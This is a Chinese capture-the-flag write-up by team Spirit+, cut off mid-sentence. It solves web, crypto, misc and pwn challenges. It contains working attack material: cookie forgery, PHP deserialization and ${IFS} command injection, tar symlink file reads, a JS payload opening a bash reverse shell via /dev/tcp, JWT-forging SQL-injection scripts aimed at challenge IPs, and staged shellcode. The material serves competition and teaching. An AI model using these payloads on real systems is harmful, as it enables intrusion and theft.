本文章创建于赛后,发布于赛后24h。(2025.06.09 21:00)
队伍信息
- 队伍名称:Spirit+
- 比赛排名:9
- 比赛得分:2696
- 解题数量:18/22
Web
Layers of Compromise
弱密码,使用 user/password123 登录系统
当前 cookie 为 Cookie: username=user; role=user 将其修改为 Cookie: username=admin; role=admin 从而可以看到仅限管理员可看的文档
confidential_note.txt
内部API令牌: c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec confidential_dev.txt
内部API端点:
- status
- config
- debug (仅限本地访问)
查看 /data/app/www/secrettttts/ 获取开发令牌。 根据提示扫描 /secrettttts 路由,扫描到 /secrettttts/token.txt
获得如下信息:
7f8a1a4b3c7d9e6f2b5s8d7f9g6h5j4k3l2m1n
--auth.php
if (isset($_COOKIE['auth_token'])) {
$auth_data = unserialize(base64_decode($_COOKIE['auth_token']));
if ($auth_data['username'] === 'dev' &&
$auth_data['hash'] === md5('dev' . $CONFIG['auth_key'])) {
return true;
}
}
--
'username'=>'dev' 'auth_key' => 'S3cr3tK3y!2023'
根据信息构造 Cookie:
<?php echo base64_encode(serialize(['username'=>'dev', 'hash'=>md5('dev' . 'S3cr3tK3y!2023')])); ?>
$ YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==
添加 Cookie auth_token=YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==
此时能够访问 /logs.php,构造 "${IFS}/data/fl*g/*" 即可获得flag
##
Filesystem
首先使用tar解压保留软链接的特性实现任意文件读取,获得adminconfig.lock
ln -s ../../filesystem/adminconfig.lock link
tar cf link.tar link 上传后tar包将自动解压并保留原始的软链接,此时重新下载link文件即可获得adminconfig.lock
{
"password": "hArd_Pa@s5_wd",
"slogon": "Keep it up!"
}
使用
admin/hArd_Pa@s5_wd 登录
分析代码后发现该组件存在漏洞,可以执行js代码
因此调用 changePassword api 修改 slogon 然后再重新登录触发 gray 渲染 slogon 执行 js 代码反弹 shell 获得 flag
Payload:
{
"password": "hArd_Pa@s5_wd",
"slogon": "---js\nprocess.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<ip>/<port> 0>&1\"')\n---"
}
##
ezAPP_And_SERVER
import base64, hashlib, json, requests, jwt, sys
from itertools import cycle
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
# ---------------- 0) 目标地址 ----------------
BASE = "http://47.96.162.115:8080"
# ---------------- 1) 还原真正的 JWT 密钥 ----------------
PLAIN = "FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ"
KEY = "134522123"
SECRET_REAL = bytes([ord(a) ^ ord(KEY[i % len(KEY)]) for i, a in enumerate(PLAIN)])
def sign(uid: str) -> str:
return jwt.encode(
{"sub": "1234567890", "uid": uid, "iat": 1516239022},
SECRET_REAL, algorithm="HS256"
)
# ---------------- 2) 先把普通列表里所有 uid 探一遍 ----------------
# 这 8 个 uid 就是源码里硬编码的那批
UIDS = [
"f47ac10b-58cc-4372-a567-0e02b2c3d479",
"c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b",
"732390b8-ccb6-41de-a93b-94ea059fd263",
"f633ec24-cfe6-42ba-bcd8-ad2dfae6d547",
"eb8991c8-9b6f-4bc8-89dd-af3576e92bdb",
"db62356d-3b99-4764-b378-e46cb95df9e6",
"8f4610ee-ee87-4cca-ad92-6cac4fdbe722",
"1678d80e-fd4d-4de3-aae2-cb0077f10c21",
]
admin_uid = None
for uid in UIDS:
url = f"{BASE}/api/v1/contacts?uid={uid}"
r = requests.get(url, headers={"Authorization": sign(uid)}, timeout=5)
if r.status_code != 200:
print(f"[contacts] {uid[:8]}… -> HTTP {r.status_code}")
continue
try:
users = r.json()["data"]["users"]
print(users)
except Exception:
print(f"[contacts] {uid[:8]}… -> 解析失败")
continue
for u in users:
if str(u.get("role", "")).lower() == "admin":
admin_uid = u["uid"]
print(f"[+] 在 {uid[:8]}… 的联系人列表里找到了 admin_uid = {admin_uid}")
break
if admin_uid:
break
# if not admin_uid:
# print("[-] 还是没发现 admin 账号,可能题目更新或需要更多枚举。")
# sys.exit(0)
# ---------------- 3) 准备 /getflag 的 RSA + MD5 ----------------
PUB_PEM = b"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
-----END PUBLIC KEY-----"""
pub = serialization.load_pem_public_key(PUB_PEM)
cipher_b64 = base64.b64encode(
pub.encrypt(b'{"action":"getflag"}', padding.PKCS1v15())
).decode()
body = f'{{"data":"{cipher_b64}"}}'
x_md5 = hashlib.md5(body.encode()).hexdigest()
headers = {
"Authorization": sign(admin_uid),
"X-Sign": x_md5,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8,"
"application/signed-exchange;v=b3;q=0.7"
}
r = requests.post(f"{BASE}/api/v1/getflag", data=body, headers=headers, proxies=proxies, timeout=5)
print(f"[getflag] HTTP {r.status_code}")
print(r.text)
contacts api 存在带waf的sql注入
/api/v1/contacts?uid={base}"/**/or/**/"z"%3d"z
获得admin uid:9d5ec98c-5848-4450-9e58-9f97b6b3b7bc
POST /api/v1/getflag HTTP/1.1
Host: web-f38d49af16.challenge.xctf.org.cn
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwidWlkIjoiOWQ1ZWM5OGMtNTg0OC00NDUwLTllNTgtOWY5N2I2YjNiN2JjIiwiaWF0IjoxNTE2MjM5MDIyfQ.h7eaXGcCUq-3UDwEwjtDxDCKrcpwj36alJy5SAZetro
X-Sign: 59da59943192975b322b552675c5a80f
Content-Length: 355
{"data":"llVxb3tJOuARw2ceX/Qu9kCqQO/aZyT0BMxJvPpP8wMmMVyp5IbNIwkGpHzRJTY9BrF+4SIuHQzmMoawa642IfUiWfdqbQV1+IR+lcB/l+QPvzR9+mzqG0hvvKBxMHULtPYFUFGpKnoeN+Yhcdt+GGAuSktSJnaIIcTSR4xj4cSOgUpSVj5QWWhms1kJs+voKW7l39zLiyr0EXRLYDkGZgfnQULeLkg+tLTG9fd6pRQrSfUTYLhbFxqHrN7jHkxb6WEGOgrZxfP3L6+0J2fTi+ztHyClWokp3MDvB8oUdLOI7NkfEXfkjiII3cC0BW9x9LlrBpaAgX1JBnCj+yQMyw=="}
Misc
软总线流量分析取证1
去掉fake有关的流量,定位到tcp.stream eq 7/8
"HOST":"com.example.calculator"
"dmVersion":"5.0.1"
"targetDeviceName":"OpenHarmony 3.2"
"softbusVersion":101 md5(OpenHarmony_3.2_calculator_5.0.1_101)提交
Crypto
Small Message For (SM4) Encryption
from rich.progress import track
from gmssl import sm4, func
from pwn import xor
import itertools
for l in range(1, 5):
for cand in track(itertools.product(range(256), repeat = int(l)), total = int(256**l)):
key = (bytes(cand)*16)[:16]
iv = xor(key, what)
cipher = sm4.CryptSM4(sm4.SM4_DECRYPT, 0)
cipher.set_key(key, sm4.SM4_DECRYPT)
pt = cipher.crypt_cbc(iv, ct)
if b"My FLAG? " in pt:
print(pt) Weak_random
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import xor
import random
enc = bytes.fromhex('e88b2eb25b22929b2eb84898bc2c620c8798637ab64b892c218c83a0e523580f6c5772c84461f09045b6bce48c102a5f')
check = bytes.fromhex('83d92dc441e420587b2eb46f46ca424597af97a88f0da1b64243e287c69aa645')
known = b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
for i in range(10000):
for j in range(256):
seed = i + (j << 8)
random.seed(seed)
key = random.getrandbits(128)
aes = AES.new(key.to_bytes(16, byteorder='big'),AES.MODE_ECB)
iv = xor(known, aes.decrypt(enc)[:16])
aes = AES.new(key.to_bytes(16, byteorder='big'),AES.MODE_CBC,iv=iv)
flag = aes.decrypt(enc)
if sha256(flag[16:]).digest() == check:
print(flag[16:])
break Ea5y_RSA
ct:
2z/TenC2n+eLR6WbO8mQcJsdKMasdA2/K6xDQj2ABqZvMz1PHTdUvnw7YcFv9fM7BYqf7WCbVFYzJINUeseI7f+72PEw6XuTyDW4s6nE6bZr51XrX383raumpOxUwryCudjsFEsDRmq16sgf0Rk2KJCVLyaXhDstMux+VumSaEY=
let gift: number[] = [0];
if(this.keyPair != null){
let pri = this.keyPair.priKey.getEncoded().data;
for(let i: number = 7; i < 285; i++){
gift.push(pri[i]);
}
}
my gift: 0,48,13,6,9,42,134,72,134,247,13,1,1,1,5,0,4,130,2,97,48,130,2,93,2,1,0,2,129,129,0,219,91,76,137,49,174,41,189,193,240,64,187,23,143,171,74,107,120,166,142,186,244,90,56,6,54,147,63,158,119,222,110,46,245,223,167,190,173,76,7,36,210,188,249,83,151,200,24,88,11,247,108,112,208,109,173,32,143,133,158,62,83,232,150,60,120,232,201,90,239,207,77,200,36,2,107,62,204,214,35,28,190,48,150,242,52,247,4,11,255,164,13,122,170,42,223,66,36,114,134,183,30,99,21,31,224,194,169,223,86,12,216,139,0,255,220,115,223,83,90,71,25,221,180,160,8,212,41,2,3,1,0,1,2,129,128,82,97,158,131,227,241,153,225,151,69,136,185,251,38,76,217,93,53,105,176,47,12,120,25,148,83,200,199,90,215,127,228,247,164,5,196,52,251,86,147,84,68,5,14,202,83,53,165,214,227,95,160,13,90,105,230,92,85,42,132,124,185,252,158,69,85,122,160,246,99,167,168,183,89,173,57,73,126,186,253,22,111,92,152,14,5,95,175,46,189,186,93,207,30,207,8,231,173,143,91,128,18,58,6,25,209,64,207,123,224,255,177 n
00db5b4c8931ae29bdc1f040bb178fab4a6b78a68ebaf45a380636933f9e77de6e2ef5dfa7bead4c0724d2bcf95397c818580bf76c70d06dad208f859e3e53e8963c78e8c95aefcf4dc824026b3eccd6231cbe3096f234f7040bffa40d7aaa2adf42247286b71e63151fe0c2a9df560cd88b00ffdc73df535a4719ddb4a008d429 d_high
52619e83e3f199e1974588b9fb264cd95d3569b02f0c78199453c8c75ad77fe4f7a405c434fb56935444050eca5335a5d6e35fa00d5a69e65c552a847cb9fc9e45557aa0f663a7a8b759ad39497ebafd166f5c980e055faf2ebdba5dcf1ecf08e7ad8f5b80123a0619d140cf7be0ffb1
#sage
from Crypto.Util.number import long_to_bytes as i2b, bytes_to_long as b2i
from base64 import b64decode
from subprocess import check_output
from re import findall
from rich.progress import track
import shutil
def flatter(M):
#logger.debug(f"flatter reduction on matrix of size {M.nrows()}x{M.ncols()}")
# compile <https://github.com/keeganryan/flatter> and put it in $PATH
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(ZZ, findall(b"-?\d+", ret)))
if shutil.which("flatter"):
has_flatter = True
else:
has_flatter = False
def LLL(M, *args, **kwargs):
return M.LLL(*args, **kwargs)
def BKZ(M, *args, **kwargs):
return M.BKZ(*args, **kwargs)
def auto_reduction(M):
"""
Compute a LLL or flatter reduced basis for the lattice M
:param M: a matrix
"""
if not has_flatter:
return LLL(M)
if max(M.dimensions()) < 32:
# prefer LLL for small matrices
return LLL(M)
if M.is_square():
return flatter(M)
# flatter also works in linear depedent case
nr, nc = M.dimensions()
if nr > nc:
# definitely not linearly independent
return LLL(M)
if M.rank() < nc:
return LLL(M)
return flatter(M)
default_reduction = auto_reduction
def set_default_reduction(reduction):
global default_reduction
default_reduction = reduction
def reduction(M):
return default_reduction(M)
def hl_bits_leakage(N, pbar, epsilon, beta):
d = 1
h = ceil(beta**2/epsilon/d)
k = ceil(d*h/beta)
X = ceil((N**(beta**2/d-epsilon)))
P.<x> = ZZ[]
f = pbar + x
L = matrix(ZZ, k + 1 , k + 1 )
#alg.debug(f'{alg.blue_("β = ")}{beta}', f'{alg.blue_("ε = ")}{epsilon}', f'{alg.blue_("Bound of x (%s bits): " % X.bit_length())}{X}')
for i in range(h*d):
for j, l in enumerate(f ** i):
L[i, j] = N ** (h - i) * l * X ** j
for i in range(k - h*d + 1 ):
for j, l in enumerate(x ** i * f ** h):
L[i + h*d, j] = l * X ** j
L_ = reduction(L)
g = sum(j * x ** i / X ** i for i, j in enumerate(L_[0]))
roots = g.roots()
p = 1
if roots:
p = roots[0][0] + pbar
if p in (0, 1, N) or N % p:
return None, None
return int(p), int(N//p)
def find_p_high(d_high, e, n):
PR.<X> = PolynomialRing(RealField(3000))
for k in track(range(1, e+1)):
f=e * d_high * X - (k*n*X + k*X + X-k*X**2 - k*n)
results = f.roots()
if results:
for x in results:
p_high = int(x[0])
p, q = hl_bits_leakage(n, p_high, 0.11, 0.4999)
if p and p != 1:
return p
leak1 = 57850133747373485628179469860266528243343272262262857838878301284376816881442052178411528555905268918150912612804392133880828981094685646854966958919789928408026567208425530563313754246887007318356768404095805517376108873938552245564678059265744810063699898007039745799211466563896279963059214236605506125824
n1 = 154037468630464231406736192915625379331409744210454674935463666813237047412305195368973970949025458460523152801582962145132567705440312568071099402215344458235483082208351604382017326351294501958546225823921390273408433827181805105325672418573482115961927107996112107037097400031487333473398364538993660974121
e1 = 0x10001
p1 = find_p_high(leak1, e1, n1)
q1 = n1 // p1
d1 = pow(e1, -1, (p1 - 1) * (p1 - 1))
def known_pq(p, q, c, e = 0x10001):
return pow(c, pow(e, -1, (p-1)*(q-1)), p*q)
print(i2b(known_pq(p1, q1, b2i(b64decode(b'2z/TenC2n+eLR6WbO8mQcJsdKMasdA2/K6xDQj2ABqZvMz1PHTdUvnw7YcFv9fM7BYqf7WCbVFYzJINUeseI7f+72PEw6XuTyDW4s6nE6bZr51XrX383raumpOxUwryCudjsFEsDRmq16sgf0Rk2KJCVLyaXhDstMux+VumSaEY=')))))
Simple LLL
对应 的 ACD 问题。
p-1 = 2^5 * 3 * 102911 * 197807 * 70121565061 * 6901227617683515598464086393
#sage
from rich.progress import track
from Crypto.Util.number import *
# https://github.com/jvdsn/crypto-attacks/blob/master/attacks/acd/sda.py
def recover_p(cts):
n = 50
samps = cts[:n]
rho = 170
alpha = round(sqrt(n) / (n-1) / (sqrt(n)+1) * 2**rho)
B = matrix(ZZ, n, n + 1)
R = 2 ** rho
for i, xi in enumerate(samps):
B[i, 0] = xi
B[i, i + 1] = R
B = B.LLL()
K = B.submatrix(row=0, col=1, nrows=n-1, ncols=n).right_kernel()
q = K.an_element()
symmetric_mod = lambda a, b: a % b if a % b < b // 2 else a % b - b
r0 = symmetric_mod(samps[0], q[0])
p = abs((samps[0] - r0) // q[0])
r = [symmetric_mod(xi, p) for xi in samps]
if all(-R < ri < R for ri in r):
assert isPrime(int(p)) and p.bit_length() == 215, p
return int(p)
p =
g =
ct =
q = recover_p(ct)
assert q
dlogs = [(QQ(c%q)/d)%p for c, d in zip(ct, b"Lattice-based cryptography is the generic term for constructions of cryptographic primitives that involve lattices, either in the construction itself or i"[:50])]
res = []
for dlog in track(dlogs):
res.append(discrete_log(pow(dlog, 6901227617683515598464086393 * 70121565061, p), Mod(g, p) ** (6901227617683515598464086393 * 70121565061), ord = 2^5 * 3 * 102911 * 197807))
pt = b''.join(map(long_to_bytes, res))
loop_index = pt.index(pt[:6], 6)
print(b'flag{' + pt[:loop_index] + b'}')
Pwn
minishell
取出来也是一个shell。逆一下可以发现简单shellcode。但是长度不够一次完成orw。所以构造一个read shellcode然后跳过去再orw即可。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
# r = process("./minishell")
r = remote("61.147.171.107",42114)
def sendline(data):
r.recv()
r.sendline(data.encode('utf-8'))
def sendshellcode(data):
r.recv()
r.sendline(asm(data))
sendline("cat")
sendshellcode('''
mov rsi,rdi
xor edi,edi
add rsi,0x100
mov dl,0xff
syscall
jmp rsi
''')
sendshellcode('''
mov rsp, rsi
add rsp,0x100
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
r.interactive()
ezshell
查看 disk-imgs/userdata.img/app/pwn,可以发现是一个自定义的 shell。
逆向 ezshell ,查看字符串,找到 /flag 的引用,发现一个进入开发者模式的命令 !devmode。
经过尝试发现可以通过若干空格分隔的形如
\xx\yy\yy... 的短语来执行
\xx 操作码对应的管理员命令。
\ff 操作码尝试读取 /flag ,并且执行该命令后可以开放 ls 、cat 的使用权限,ls 发现 flag 位于 pwn/flag ,但仍无法用 cat 直接读取(过滤了关键词)
\ea 操作码用来创建“Shortcut”,从 sub_403F9E 中可以猜测引用快捷键 num 的语法是 ${num}。
尝试用
!devmode \ea\70\77\6e\2f\66\6c\61\67 创建
pwn/flag 的快捷键发现关键词被 ban 掉了。故尝试用
!devmode \ea\70\77\6e\2f\66\6c\61 \ea\67 分别创建
pwn/fla